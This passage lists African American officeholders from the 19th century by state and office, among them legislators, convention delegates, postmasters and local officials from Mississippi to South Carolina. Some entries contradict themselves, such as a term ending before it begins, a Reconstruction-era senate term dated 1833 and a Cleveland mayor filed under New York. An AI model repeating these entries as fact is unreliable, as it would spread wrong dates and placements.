Hannibal C. Carter – Mississippi Secretary of State September 1, 1873 – October 20, 1873; November 13, 1873 – January 4, 1874 (also Mississippi House)
Richard Griggs – Mississippi Commissioner of Agriculture & Immigration 1873–1876 (also Mississippi House)
James Hill – Mississippi Secretary of State January 1874–January 1878 (also Mississippi House)
James D. Lynch – Mississippi Secretary of State 1868–1872
James H. Piles – Assistant Secretary of State of Mississippi 1875 (also Mississippi House)
Hiram Rhodes Revels – Mississippi Secretary of State 1872–1873 (and U.S. Senate)
Federal offices
Daniel W. Ambrose – postmaster of Pickens January 19, 1898 – May 11, 1898
Henry Blackman – postmaster of Brookhaven May 13, 1873 – November 13, 1876
Benjamin G. Boothe – postmaster of Water Valley July 5, 1884 – December 5, 1885
Franklin P. Brinson – postmaster of Duncansby September 20, 1897 – May 25, 1905
Jenkins Cook – postmaster of Dry Grove February 1, 1898 – April 16, 1902
Minnie M. Cox – postmaster of Indianola January 16, 1891 – May 22, 1897; April 17, 1893 – February 2, 1904
Robert W. Fitzhugh – postmaster of Natchez January 19, 1876 – October 10, 1883
Joseph Graves – postmaster of Pearlington March 7, 1883 – April 16, 1889; August 20, 1885 – May 9, 1894
Edward Hill – postmaster of Raymond June 6, 1870 – May 26, 1874
James Hill – postmaster of Vicksburg April 2, 1891 – April 15, 1893
A. D. Jones – postmaster of Corinth February 25, 1871 – March 6, 1874
Thomas I. Keys – postmaster of Ocean Springs August 4, 1897 – March 3, 1911
Elias W. Matthews – postmaster of Batesville April 25, 1882 – March 7, 1883
William McCary – postmaster of Natchez October 10, 1883 – August 6, 1885
Benjamin F. Mitchell – postmaster of Greenwood July 23, 1873 – October 27, 1875
Isaiah T. Montgomery – postmaster of Mound Bayou June 12, 1888 – March 14, 1894
Joshua P. T. Montgomery – postmaster of Mound Bayou March 14, 1894 – May 2, 1895
Mary V. Montgomery – postmaster of Mound Bayou May 2, 1895 – September 27, 1902
William Thornton Montgomery – postmaster of Hurricane May 6, 1867 – September 14, 1880
Ellis E. Perkins – postmaster of Edwards May 12, 1898 – February 15, 1910
Louis J. Piernas – postmaster of Bay St. Louis April 18, 1889 – May 27, 1898; May 5, 1894 – March 3, 1911
Thomas Richardson – postmaster of Port Gibson September 28, 1870 – October 6, 1876; February 27, 1890 – February 26, 1875; May 11, 1885 – March 14, 1894
Robert Steward – postmaster of Macon March 11, 1875 – May 16, 1881
Henry K. Thomas – postmaster of Bovina June 1, 1877 –December 5, 1882
Robert H. Wood – postmaster of Natchez March 17, 1873 – April 16, 1876 (also mayor)
Local offices
Merrimon Howard – sheriff in Jefferson County (also Mississippi House)
Isaiah Montgomery – mayor of Mound Bayou (also Mississippi Constitutional Convention and postmaster)
James J. Spelman – justice of the peace and alderman of Canton (also Mississippi House)
Robert H. Wood – mayor Natchez 1870–1871; Adams County Board of Supervisors 1871–1872 (also postmaster)
Missouri
Federal positions
James Milton Turner – consul general to Liberia March 1, 1871 – May 7, 1877
Nebraska
Nebraska House of Representatives
Matthew Oliver Ricketts – 1893–1897
New York
Local offices
Edward "Ned" Sherman – mayor of Cleveland 1878
North Carolina
North Carolina Senate
Isaac Alston – 19th District/Warren County 1879, 1881
John R. Bryant – 5th District/Halifax County 1866, 1874, 1876 (also North Carolina House)
Wilson Carey – Caswell County 1870 (also North Carolina House)
Hawkins W. Carter – Warren County 1883
Charles C. Clark – 8th District/Craven County 1887
Franklin D. Dancy – Edgecombe County 1879–1880
Henry Eppes – 7th District/Halifax County 1868–1874, 1879, 1887 (also N.C. Constitutional Convention)
Robert Fletcher – New Hanover County 1870–1874
Thomas O. Fuller – Warren County 1899–1900
Abraham Galloway – 13th District/New Hanover County 1868 (N.C. Constitutional Convention)
Robert Gray – 5th District/Edgecombe County 1833 (also North Caroline House)
James Harris – 18th District/Wake County 1872 (also North Carolina House and N.C. Constitutional Convention)
W. B. Henerson – Vance County 1897–1898
Hanson T. Hughes – 21st District/Granville County 1866, 1876 (also North Carolina House)
John Adams Hyman – 20th District/Warren County 1868–1871, 19th District/Warren County 1872 (also U.S. Congress and N.C. Constitutional Convention)
George Lawrence Mabson – 5th District/Edgecombe County 1866, 1872–1877 (also North Carolina House and N.C. Constitutional Convention)
George Mebane – Bertie and Northampton counties 1866, 1876, 1883
Jacob H. Montgomery – (also North Carolina House)
William H. Moore – 12th District/New Hanover County 1876 (also North Carolina House)
John M. Paschall – 19th District/Warren County 1874 (also North Carolina House)
George W. Price Jr. – 13th District/New Hanover County 1870 (also North Carolina House)
H. E. Scott – 12th District/New Hanover County 1881, 1883
R. S. Taylor – 5th District/Edgecombe County 1885, 1887
Richard Tucker – 8th District/Craven County 1874
George L. Watson – New Hanover County 1872–1874
George Henry White – 8th District/Craven County 1885 (also North Carolina House and U.S. Congress)
North Carolina House of Representatives
Israel Abbott – Craven County 1872
Isaac Alston – Warren County 1879, 1890
Wiley Baker – Northampton County 1883
B. W. Battle – Edgecombe County 1879
William Belcher – Edgecombe County 1883
W. Henry Brewington – New Hanover County 1874
Aaron R. Bridgers – Edgecombe County 1883
John R. Bryant – Halifax County 1870, 1872 (also North Carolina Senate)
Willis Bunn – Edgecombe County 1870–1877
Wilson Carey – Craven County 1868, 1874, 1876, 1879, 1889 (also North Carolina Senate)
Hawkins W. Carter – Warren County 1879
William Cawthorne – Warren County 1870
Henry C. Cherry – Edgecombe County 1868 (also N.C. Constitutional Convention)
L. T. Christmas – Warren County 1879
Hugh Cole – Pasquotank County 1879
J. A. Crawford – Granville County 1868, 1870
C. W. Crews – Granville County 1874, 1876
H. W. Crews – Person County 1893
Edward R. Dudley – Craven County 1870, 1872
Harry B. Eaton – Warren and Vance counties 1883, 1885
J. Y Eaton – Vance County 1899
Richard Elliott – Chowan County 1874
Stewart Ellison – Wake County 1870, 1872, 1879
Richard Faulkner – Warren County 1868, 1870
Edward Fletcher – Richmond County 1870
John R. Good – Craven County 1874
John S. W. Eagles – New Hanover County 1869-70
Eustace Edward Green – New Hanover County 1882
Robert Gray – Edgecombe County 1883 (also North Carolina Senate)
James Harris – Wake County 1868, 1883, 1895, 1897 (also North Carolina Senate and N.C. Constitutional Convention)
H. T. J. Hayes – Halifax County 1868 (also N.C. Constitutional Convention)
Hilliard J. Hewlin – 1883
Alexander Hicks – Washington County 1881
Edward H. Hill – Craven County 1874
J. C. Hill – New Hanover County 1876
Valentine Howell – New Hanover County 1887
George W. Howell – Caswell County 1874
Hanson T. Hughes – Granville County 1866, 1872, 1874 (also North Carolina Senate)
John E. Hussey – Craven County 1885, 1887, 1889
Ivey Huthings – Halifax County 1868
R. M. Johnson – Edgecombe County 1870
William H. Johnson – 1883
J. A. Jones – Halifax County 1874
George H. King – Warren County 1872
John Sinclair Leary – Cumberland County 1868, 1870
Bryant Lee – Bertie County 1868
Alfred Lloyd – New Hanover County 1872, 1874; Pender County 1876
George Lawrence Mabson – New Hanover County 1870 (also North Carolina Senate)
Cuffe Mayo – Granville County 1868
William McLaurin – New Hanover County 1872
William P. Mabson – Edgecombe County 1872 (also North Carolina Senate and N.C. Constitutional Convention)
George Mebane – New Hanover County 1868
Jacob H. Montgomery – Warren County 1883 (also North Carolina Senate)
William H. Moore – New Hanover County 1874 (also North Carolina Senate)
Wilson W. Morgan or Willis Morgan – Wake County 1870
B. T. Morris or B. W. Morris – Craven County 1868
Noah R. Newby – 1883
John J. Newell – Bladen County 1874, 1879, 1881
W. D. Newsome – Hertford County 1870
James E. O'Hara – Halifax County 1868 (also U.S. Congress and N.C. Constitutional Convention)
John R. Page – Chowan County 1870
John W. H. Paschall – Warren County 1872 (also North Carolina Senate)
Moses M. Peace – Vance County 1895, 1897
Willis D. Pettipher or Pettiford – Craven County 1879
James M. Pittman – 1883
James W. Poe – Caswell County 1883
George W. Price Jr. – New Hanover County 1868, 1870 (also North Carolina Senate)
W. H. Reavis – Granvillle County 1870
John T. Reynolds – Halifax County 1879
Augustus Robbins – Bertie County 1879, 1881
Parker David Robbins – Bertie County 1868, 1870 (also North Carolina Constitutional Convention and postmaster)
Limas Roulhac – Bertie County 1885
H. E. Scott – New Hanover County 1879
Isaac H. Smith – Craven County 1899
Turner R. Speller – Bertie County 1883, 1887, 1889
A. W. Stevens – Craven County 1868
Isham Sweat – Cumberland County 1868
Edward H. Sutton – Chowan County 1883
Thomas A. Sykes – Pasquotank County 1868–1872 (also Tennessee House)
B. W. Thorpe – Edgecombe County 1885
Richard Tucker – Craven County 1870
William Henry Waddell – New Hanover County 1879, 1883
James M. Watson – Vance County 1887, 1893
George Henry White – Craven County 1879, 1881 (also North Carolina Senate and U.S. Congress)
John A. White – Halifax County 1874, 1876, 1879, 1887
John H. Williamson – Franklin County 1866–1888 (also North Carolina Constitutional Convention)
George B. Willis – Craven County 1870
Dred Wibmerley – Sampson County 1879
James H. Young – Wake County 1895, 1897
North Carolina Constitutional Convention
Wilson Cary – Caswell County 1868, 1875
Henry C. Cherry – Edgecombe County 1868 (also North Carolina House)
John O. Crosby – Warren County 1874
Henry Eppes – Halifax County 1868 (also North Carolina House)
A. H. Galloway – New Hanover County 1868 (also North Carolina Senate)
James Harris – Wake County 1868 (also North Carolina House and North Carolina Senate)
W. T. J. Hayes – Halifax County 1868 (also North Carolina House)
Samuel Highsmith – Duplin County 1868
John Adams Hyman – Warren County 1868 (also U.S. Congress and North Carolina Senate)
Bryant Lee – Bertie County 1868
William P. Mabson – Edgecombe County 1875 (also North Carolina House and North Carolina Senate)
James E. O'Hara – Halifax County 1875 (also U.S. Congress and North Carolina House)
J. W. Petterson – Duplin County 1868
C. D. Pierson – Craven County 1868
Parker David Robbins – Bertie County 1868 (also North Carolina House and postmaster)
J. H. Smythe – New Hanover County 1875
John H. Williamson – Franklin County 1868 (also North Carolina House)
Federal offices
Albert L. Alston – postmaster of Macon December 11, 1891 – April 29, 1893
Collin P. Anthony – postmaster of Scotland Neck September 17, 1897 – July 11, 1898
Weeks S. Armstrong – postmaster of Rocky Mount April 18, 1889 – March 31, 1890
Daniel W. Baker – postmaster of Lewiston June 10, 1897 – April 1, 1899
Mary A. Baker – postmaster of Dudley November 11 26, 1897 – August 22, 1911
William Baker – postmaster of South Gaston October 24, 1889 – October 7, 1897; October 13, 1893 – March 31, 1904
William B. Baker – postmaster of Dudley August 27, 1883 – September 3, 1884
Clinton W. Battle – postmaster of Battleboro November 11, 1897 – November 22, 1899
William E. Bennett – postmaster of Powellsville January 13, 1898 – February 23, 1901
Lewis T. Bond – postmaster of Windsor May 3, 1897 – July 12, 1901
Albert C. Booth – postmaster of Harrellsville November 15, 1897 – September 26, 1900
Moses J. Bullock – postmaster of Townsville February 19, 1874 – February 8, 1886
Thomas H. Burwell – postmaster of Kittrell October 24, 1889 – September 4, 1893
Joseph B. Catus – postmaster of Winton September 24, 1897 – June 6, 1913
Edward Cheek – postmaster of Halifax April 9, 1897 – March 7, 1901
James D. Cherry – postmaster of Drew July 7, 1897 – May 20, 1901
Edward D. Clark – postmaster of Kelford December 20, 1897 – June 19, 1901
William C. Coats – postmaster of Seaboard November 9, 1889 – November 3, 1893
Mrs. Willie F. Coats – postmaster of Seaboard October 26, 1897 – October 26, 1901
Hezekiah Cook – postmaster of Oberlin April 11, 1892 – May 8, 1894
Charner H. Davis – postmaster of Townesville (became Townsville 1892) July 20, 1889 – December 10, 1897; September 9, 1893 – January 15, 1909
Cora E. Davis – postmaster of Halifax April 5, 1889 – December 8, 1890
Frank Davis – postmaster of Southport February 1, 1892 – May 16, 1893
Ada Dickens – postmaster of Lawrence August 9, 1897 – November 22, 1899
Henry H. Falkener – postmaster of Macon May 21, 1890 – December 11, 1891
Alonzo Green – postmaster of Gatesville May 2, 1870 – April 2, 1878
Mary Guion – postmaster of Tarheel June 5, 1897 – July 29, 1898
John H. Hannon – postmaster of Halifax December 8, 1890 – April 10, 1893
Israel D. Hargett – postmaster of Rocky Mount July 27, 1897 – February 15, 1899
Cicero B. Harris – postmaster of Panacea Springs (became Panacea in 1894) July 12, 1889 – December 14, 1897; October 23, 1893 – October 2, 1902
Edmond D. Hart – postmaster of Princeville March 17, 1898 – May 25, 1909
Benjamin H. Henderson – postmaster of Fayetteville January 21, 1892 – March 3, 1896
Hilliard J. Hewlin – postmaster of Brinkleyville October 5, 1897 – October 5, 1901
John H. Howard – postmaster of Weldon January 18, 1898 – June 27, 1902
Robert S. Jervay – postmaster of Elbow May 12, 1898 – April 15, 1910
William H. Jones – postmaster of Morehead City February 25, 1890 – June 16, 1893
Norman L. Keen – postmaster of Essex April 29, 1891 – August 4, 1897; August 16, 1893 – August 6, 1901
Brosier W. Langford – postmaster of Potecasi July 21, 1897 – January 17, 1898
George W. Lane – postmaster of Edenton August 1, 1881 – February 24, 1885
Charles H. Lewter – postmaster of Lewiston April 1, 1899 – November 18, 1901
Henry D. Mayo – postmaster of Littleton May 26, 1897 – April 13, 1901
Martha E. Middleton – postmaster of Kenansville August 25, 1892 – May 8, 1893
Elenora J. Newsome – postmaster of Margarettsville July 2, 1897 – December 21, 1900
Berry O'Kelly – postmaster of Method October 9, 1890 – April 1, 1931
William H. Outlaw – postmaster of Windsor April 30, 1891 – April 1, 1893
W. Lee Person – postmaster of Rocky Mount April 11, 1890 – June 13, 1893
James M. Pittman – postmaster of Tillery January 23, 1890 – April 9, 1897; July 11, 1893 – October 28, 1898
George W. Reynolds – postmaster of Murfreesboro October 31, 1889 – April 13, 1892
Edward A. Richardson – postmaster of New Bern July 18, 1884 – June 11, 1885
Augustus Robbins – postmaster of Windsor June 14, 1889 – April 30, 1891
Parker David Robbins – postmaster of Harrellsville September 22, 1875 – October 8, 1877 (also North Carolina Constitutional Convention and North Carolina House)
Emma S. Roberts – postmaster of Jackson August 6, 1897 – August 7, 1901
Winfrey H. Roberts – postmaster of Rich Square September 11, 1889 – November 9, 1897; September 19, 1893 – November 9, 1901
Freeman J. Ryan – postmaster of Quitsna June 24, 1897 – December 15, 1900
Thomas Shields – postmaster of Scotland Neck July 11, 1898 – May 14, 1901
Allen A. Smith – postmaster of Mount Olive May 27, 1897 – July 20, 1901
Henry L. Solomon – postmaster of Ita May 11, 1899 – July 25, 1901
Washington Spivey – postmaster of James City January 11, 1888 – May 1, 1908
John H. Thorpe – postmaster of Kittrell January 14, 1898 – March 28, 1902
Samuel H. Vick – postmaster of Wilson September 28, 1889 – May 24, 1898; February 16, 1894 – March 24, 1903
Henry L. Watson – postmaster of Macon November 10, 1897 – November 9, 1901
York Whitehead – postmaster of Aurelian Springs January 19, 1898 – January 20, 1902
Henry W. Williams – postmaster of Tillery April 8, 1889 – January 23, 1890
Washington Winn – postmaster of Mount Olive May 31, 1881 – August 6, 1885
James S. Wortham – postmaster of Ridgeway April 14, 1897 – July 2, 1901
Winfield F. Young – postmaster of Littleton July 15, 1875 – July 26, 1889; August 3, 1885 – 23, 1893
Ohio
Ohio Senate
John Patterson Green – Cleveland and Cuyahoga County 1892 (also Ohio House and justice of the peace)
Ohio House of Representatives
Benjamin W. Arnett – Greene County 1886
Jeremiah A. Brown – Cuyahoga County 1886
William H. Clifford – Cuyahoga County 1894, 1898
William H. Copeland – Hamilton County 1888
John Patterson Green – Cuyahoga County 1882, 1890 (also Ohio Senate and justice of the peace)
Robert Harlan – Hamilton County 1886
Samuel B. Hill – Hamilton County 1894
George H. Jackson – Hamilton County 1892
William H. Parham – Hamilton County 1896
Harry Clay Smith – Cuyahoga County 1894–1897, 1900–1901
William R. Stewart – Mahoning County 1896
George W. Williams – Hamilton County 1879
Federal offices
George W. Harding – postmaster of Wilberforce August 21, 1893 – July 24, 1897
Local offices
John Patterson Green – justice of the peace for Cuyahoga County 1873 (also Ohio House and Ohio Senate)
Oklahoma
Federal offices
William Anderson – postmaster of Udora October 7, 1897 – September 30, 1911
John G. Crump – postmaster of Zion July 20, 1891 – June 22, 1895
Samuel G. Garrett – postmaster of Langston June 25, 1891 – February 17, 1894
William C. Garrett – postmaster of Ridge, Indian Territory December 29, 1884 – March 12, 1886; postmaster of Wellington, Indian Territory July 24, 1890 – November 9, 1891
Maston Harris – postmaster of Udora November 18, 1895 – October 7, 1897
Jerry I. Hazelwood – postmaster of Langston April 14, 1898 – September 12, 1914
David A. Lee – postmaster of Wellington, Indian Territory (became Lee, Indian Territory in 1892) November 9, 1891 – February 15, 1895
William Martin – postmaster of Wanamaker January 18, 1898 – April 15, 1903
Abner L. J. Meriwether – postmaster of Lee, Indian Territory August 8, 1898 – November 12, 1902
Clara M. Overton – postmaster of Wanamaker March 3, 1890 – December 28, 1894
James A. Roper – postmaster of Okmulgee February 3, 1898 – March 10, 1902
Charles W. Stevenson – postmaster of Wanamaker December 28, 1894 – April 15, 1903; January 18, 1898 – July 8, 1908
Lee B. Tatum – postmaster of Tatums May 9, 1896 – September 5, 1911
Thomas H. Traylor – postmaster of Douglas May 12, 1894 – May 23, 1895
Stanley Ward – postmaster of Udora February 20, 1895 – November 18, 1895
Lewis E. Willis – postmaster of Tullahassee January 26, 1899 – October 25, 1905
John J. Young – postmaster of Lincoln December 14, 1889 – September 22, 1894
Local offices
Edward P. McCabe – treasurer of Logan County (also Kansas State Auditor, U.S. Treasury Department clerk in Kansas, and county clerk in Kansas)
Pennsylvania
Federal offices
James H. Lyons – postmaster of Salemville July 7, 1882 – July 26, 1893
Nathan T. Velar – postmaster of Brinton April 29, 1897 – November 26, 1907
Local offices
William H. Day – school board of directors at Harrisburg 1879, 1881, 1887
Rhode Island
Rhode Island General Assembly
Mahlon Van Horne – Newport, Rhode Island, 1885, 1887, 1889
South Carolina
During Reconstruction, South Carolina was the only state whose legislature was majority African American. Eric Foner says 29 African Americans served in the South Carolina Senate, and 210 African Americans served in the South Carolina House of Representatives. In addition, 72 African Americans participated in the 1868 South Carolina Constitutional Convention. Many others served in various state or local offices ranging from Lt. Governor to justice of the peace.
South Carolina Lt. Governor
Richard Howell Gleaves – December 7, 1872 – December 14, 1876
Alonzo J. Ransier – December 3, 1870 – December 7, 1872 (also U.S. Congress and South Carolina House)
South Carolina Senate
George W. Barber – Fairfield County 1868–1872
Israel R. Bird – Fairfield County 1876
Lawrence Cain – Edgefield County 1872–1876 (also South Carolina House)
Richard H. Cain – Charleston County 1868 (also U.S. Congress, South Carolina House, South Carolina Constitutional Convention, South Carolina Attorney General, city council)
Henry Cardozo – Kershaw County 1870–1874
Frederick A. Clinton – Lancaster County 1868–1877
Samuel L. Duncan – Orangeburg County 1876–1880 (also South Carolina House)
Sanders Ford – Fairfield County 1872–1873
Samuel E. Gaillard – Charleston County 1870–1877
1868
Samuel Green – Beaufort County 1875–1877 (also South Carolina House)
Charles D. Hayne – Aiken County 1872–1876 (also South Carolina House, South Carolina Constitutional Convention, Secretary of State, and postmaster)
Henry E. Hayne – Marion County 1868–1872 (also South Carolina Constitutional Congress and Secretary of State)
William R. Hoyt – Colleton County 1868
James L. Jamison – Orangeburg County 1870
William R. Jervey – Charleston County 1872 (also South Carolina House and South Carolina Constitutional Convention)
William E. Johnston – Sumter County 1869–1877 (also South Carolina House)
William H. Jones – Georgetown County 1872–1876 (also South Carolina House)
John Lee – Chester County 1872 (also postmaster)
Huston J. Lomax – Abbeville County 1870 (also South Carolina Constitutional Convention)
Moses Martin – Fairfield County 1873–1876
Henry J. Maxwell – Marlboro County 1868 (also postmaster)
Thomas E. Miller – Beaufort County 1874–1880 (also U.S. Congress, South Carolina House, South Carolina Constitutional Convention)
William Fabriel Myers – Colleton County 1874–1878
William B. Nash – Richland County 1868–1877 (also South Carolina Constitutional Convention)
Joseph H. Rainey – Georgetown County 1868–1870 (also U.S. Congress and South Carolina Constitutional Convention)
Benjamin F. Randolph – Orangeburg County 1868 (also South Carolina Constitutional Convention)
Thomas J. Reynolds – Beaufort County
Hamilton Robinson – Beaufort County
Robert Simmons – Berkeley County 1882–1886
Robert Smalls – Beaufort County 1870–1875 (also U.S. Congress, South Carolina House, South Carolina Constitutional Convention, and collector of customs)
Stephen Atkins Swails – Williamsburg County 1868 and president pro tem of the Senate (also South Carolina Continental Convention and mayor)
Dublin I. Walker – Chester County 1874–1877
R. E. Wall – Kershaw County
Jared D. Warley – Clarendon County 1874–1877 (also South Carolina House)
J. H. White – York County
Bruce H. Williams – Chester County 1876–1887
Lucius Wimbush – Chester County 1868–1872
Jonathan Jasper Wright – Beaufort County, South Carolina 1868 (also Associate Justice of South Carolina Supreme Court)
South Carolina House of Representatives
Frank Adamson – Kershaw County 1870–1874
William Adamson – Kershaw County 1869–1870
Purvis Alexander – Chester County 1876
Jacob C. Allman – Marion County 1872–1876
Robert B. Anderson – Georgetown County 1890–1898 (also postmaster)
William J. Andrews – Sumter County 1874–1876
Robert B. Artson – Charleston County 1872–1874
Samuel J. Bampfield – Beaufort County 1874–1876 (also postmaster)
George W. Barber – Fairfield County 1868–1872
John B. Bascomb – Beaufort County 1870–1874
J. A. Baxter – Georgetown County 1884–1890
W. W. Beckett – Berkeley County 1882
G. A. Bennett – Beaufort County 1868
Daniel Bird – Fairfield County 1876
W. A. Bishop – Greenville County 1868–1870
John William Bolts – Georgetown County 1898–1902
Benjamin A. Boseman Jr. – Charleston County 1868–1873 (South Carolina Constitutional Convention and postmaster)
H. Boston – Clarendon County 1876
John Boston – Darlington County 1868, 1872
Joseph D. Boston – Newberry County 1868–1876
James A. Bowley – Georgetown County 1869–1874
E. M. Brayton – Aiken County 1874–1876
Sampson S. Bridges – Newberry County 1872–1876
Peter Bright – Charleston County 1874–1876
Isaac Brockenton – Darlington County (also South Carolina Constitutional Convention)
William J. Brodie – Charleston County 1876–1880
Stephen C. Brown – Charleston County 1868, 1876
Richard Bryan – Charleston County 1870–1874, 1876
H. Z. Burchmeyer – Charleston County 1874–1876
Barney Burton – Chester County 1868–1870 (also South Carolina Constitutional Convention)
Benjamin Byas – Berkeley and Orangeburg counties 1870 (also South Carolina Constitutional Convention)
Edward J. Cain – Orangeburg County 1868
Everidge Cain – Abbeville County 1870–1874
Lawrence Cain – Edgefield County 1868–1872 (also South Carolina Senate)
Richard H. Cain – At-large 1868–1870 and 2nd District 1877 (also U.S. Congress, South Carolina Senate, South Carolina Attorney General, South Carolina Constitutional Convention, city council)
Christian Wesley Caldwell – Orangeburg County 1876
Benjamin F. Capers – Charleston County 1876
John A. Chesnut – Kershaw County 1868 (also South Carolina Constitutional Convention)
Caesar P. Chisolm – Colleton County 1882–1884
J. E. Clyde – Charleston County
Simon P. Coker – Barnwell County 1874
Samuel Coleman – Chester County 1875–1876
Augustus Collins – Clarendon County 1872–1876
Wilson Cooke – Greenville County 1868 (also South Carolina Constitutional Congress)
Andrew W. Curtis – Richland County 1872–1876
Abram Dannerly – Orangeburg County 1872
Nelson Davies – York County 1873–1876
James Davis – Richland County
Thomas A. Davis – Charleston County 1870–1876
Robert C. De Large – Charleston County 1868 (also U.S. Congress, South Carolina Constitutional Convention, State Land Commissioner)
M. R. Delaney – Charleston County
F. DeMars – Orangeburg County 1868
Eugene Herriot Dibble – Kershaw County 1876
John Dix – Orangeburg County 1872
Samuel B. Doiley – Charleston County 1874–1876
Paul B. Drayton – Charleston County 1880
William A. Driffle – Colleton County 1868–1870, 1880–1882
Samuel L. Duncan – Orangeburg County 1872–1876 (also South Carolina Senate)
S. C. Eckhard – Charleston County 1878–1880
F. S. Edwards – Charleston County 1876
W. T. Elfe – Charleston County 1878–1880
Robert B. Elliott – Barnwell, Edgefield, and Aiken counties 1868, 1874; speaker of the house 1874–1876 (also U.S. Congress, South Carolina Attorney General, South Carolina Constitutional Convention, and county commissioner)
William E. Elliott – Charleston County 1870
Henry H. Ellison – Abbeville County 1870–1874
John Evans – Williamsburg County 1876
Phillip E. Ezekiel – Beaufort County 1868
Simeon Farr – Union County 1868–1872
Simeon Farrow – Union County 1874
T. R. Fields – Beaufort County 1890
Adam P. Ford – Charleston County 1870–1874
Ellis Forrest – Orangeburg County 1876
William H. Frazier – Colleton County 1872
B. G. Frederick – Orangeburg County 1878–1880, 1882–1884
John M. Freeman Jr. – Charleston County 1874
Florian Henry Frost – Williamsburg County 1870
Reuben Gaither – Kershaw County 1870–1877
Hastings Gantt – Beaufort County 1870–1876, 1878–1884
John Gardner – Edgefield County 1868
William H. Gardner – Sumter County 1870
Stephen Gary – Kershaw County 1870, 1874
Ebenezer F. George – Kershaw County 1874
John Gibson – Fairfield County 1876
Fortune Giles – Williamsburg County 1870–1874
John T. Gilmore – Richland County 1872–1874
William C. Glover – Charleston County 1870
Mitchell Goggins – Abbeville County 1870, 1874
Aesop Goodson – Richland County 1868–1872
David Graham – Edgefield County 1872–1876
John G. Grant – Marlboro County 1868
William A. Grant – Charleston County 1872
W. H. W. Gray – Charleston County 1868
Adam Green – Aiken County
Charles Samuel Green – Georgetown County 1872–1878
John Green – Edgefield County 1872
Samuel Green – Beaufort County 1870–1875 (also South Carolina Senate)
Ishom Greenwood – Newberry County 1872
M. C. Hamilton – Beaufort County 1892–1894
Thomas Hamilton – Beaufort County 1872–1876
James J. Hardy – Charleston County 1870, 1871
R. M. Harriett – Georgetown County 1874
David Harris – Edgefield County 1868–1872
Alfred Hart – Darlington County 1870
Eben Hayes – Marion County 1868, 1872
Charles D. Hayne – Barnwell County 1868 (also South Carolina Senate, South Carolina Constitutional Convention, Secretary of State, and postmaster)
H. E. Hayne – Marion County
James N. Hayne – Barnwell County 1868
William A. Hayne – Marion County 1874
Plato P. Hedges – Charleston County 1870
James A. Henderson – Newberry County 1868, 1874
John T. Henderson – Newberry County 1870
Zachariah Hines – Darlington County
Gloster H. Holland – Aiken County 1870–1874
Abraham P. Holmes – Colleton County 1870–1874
Allison W. Hough – Kershaw County 1872
A. H. Howard – Marion County 1872
W. R. Hoyt – Colleton County 1868
Allen Hudson – Lancaster County 1870, 1874
Richard H. Humbert – Darlington County 1871–1876
Barney Humphries – Chester County 1868–1872
Alfred T. B. Hunter – Laurens County 1874
H. H. Hunter – Charleston County
James Hutson – Newberry County 1868
Austin Jackson – Barnwell County 1874
Henry Jacobs – Fairfield County 1868 (also South Carolina Constitutional Convention)
Burrell James – Sumter County 1868
Paul W. Jefferson – Aiken County 1874
William R. Jervey – Charleston County 1868 (also South Carolina Senate and South Carolina Constitutional Convention)
D. I. J. Johnson – Chesterfield County 1868
Griffin C. Johnson – Laurens County 1868–1872
Henry Johnson – Fairfield County 1868
John W. Johnson – Marion County 1872–1874
Samuel Johnson – Charleston County 1868
William E. Johnston – Sumter County 1868, 1869 (also South Carolina Senate)
A. H. Jones – Charleston County 1874
Marshall Jones – Orangeburg County 1886
Paul E. Jones – Orangeburg County 1874
William H. Jones – Georgetown County 1868–1872 (also South Carolina Senate)
Samuel J. Keith – Darlington County 1870–1876
William Keitt – Newberry County 1876
P. R. Kinloch – Georgetown County 1876
Jordan Lang – Darlington County 1868–1872 (also South Carolina Constitutional Convention)
J. S. Lazarus – Charleston County 1876
George H. Lee – Charleston County 1868
John Lee – Chester County 1872
Levi Lee – Fairfield County 1872
Samuel J. Lee – Edgefield and Aiken counties 1868–1874
J. J. Lesesne – Charleston County 1876
John Lilley – Chester County 1872
Joseph W. Lloyd – Charleston County 1870
Aaron Logan – Charleston County 1870
Huston J. Lomax – Abbeville County 1868
William Lowman – Richland County 1876
William Maree – Colleton County 1876–1880
Thomas Martin – Abbeville County 1872
Julius Mayer – Barnwell County 1868
James P. Mays – Orangeburg County 1868–1872
Harry McDaniels – Laurens County 1868
Thomas D. McDowell – Georgetown County
William McKinlay – Orangeburg and Charleston counties 1868 (also South Carolina Constitutional Congress and city council)
John W. Mead – York County 1868–1872
George M. Mears – Charleston County 1880–1892
S. Melton – Clarendon County 1876
Edward C. Mickey – Charleston County 1868–1872
Benjamin Middleton – Barnwell County 1872
F. F. Miller – Georgetown County 1868
Isaac Miller – Fairfield County 1872
M. Miller – Fairfield County 1872
Thomas E. Miller – Beaufort County 1866, 1874–1880, 1886–1888, 1894–1896 (also U.S. Congress, South Carolina Constitutional Convention, and South Carolina Senate)
James Mills – Laurens County 1872
L. S. Mills – Beaufort County 1882
Syphax Milton – Clarendon County 1870–1872, 1874–1876
Charles S. Minort – Richland County 1872–1874
F. S. Mitchell – Beaufort County 1884
Junius S. Mobley – Union County 1868
Alfred M. Moore – Fairfield County 1870
Shadrack Morgan – Orangeburg County 1874–1876
William C. Morrison – Beaufort County 1876
William J. Moultrie – Georgetown County 1880–1884
Nathaniel B. Myers – Beaufort County 1876
William F. Myers – Colleton County 1870–1875
Lee Nance – Newberry County
Jonas W. Nash – Kershaw County 1868,1876
? Nehemiah – Beaufort County
William Nelson – Clarendon County 1868
Richard Neabitt – Charleston County 1874
Frederick Nix Jr. – Barnwell County 1872 (also postmaster)
Charles F. North – Charleston County 1872
Samuel Nuckles – Union County 1868–1872 (also South Carolina Continental Congress)
Nathaniel B. Myers – Beaufort County 1870–1875, 1876
Joseph Alexander Owens – Barnwell County 1880
Robert John Palmer – Richland County 1876
Joseph Parker – Charleston County 1880
Jeffrey Prendergrass – Williamsburg County 1868–1872
Wade Perrin – Laurens County 1868, 1871
James F. Peterson – Williamsburg County 1872–1878
Edward Petty – Charleston County 1872
William G. Pinckney – Charleston County 1874–1876; Berkeley County 1882–1884
Thomas Pressley – Williamsburg County 1872
Isaac Prioleau – Charleston County 1872–1874, 1876
M. H. Priolean – Charleston County
Henry W. Purvis – Lexington County 1868 (also South Carolina Adjunct General)
Warren W. Ramsey – Sumter County 1869–1876
Alonzo J. Ransier – Charleston County 1868 (also South Carolina Lt. Governor, U.S. House, U.S. Constitutional Convention)
Cain Ravenel – Berkeley County 1882
George A. Reed – Beaufort County 1872–1874, 1876
W. H. Reedish – Orangeburg County 1876
A. C. Reynolds – Beaufort County 1888
J. C. Rice – Beaufort County 1886
James Richardson – Colleton County
Mark P. Richardson – Berkeley County 1890
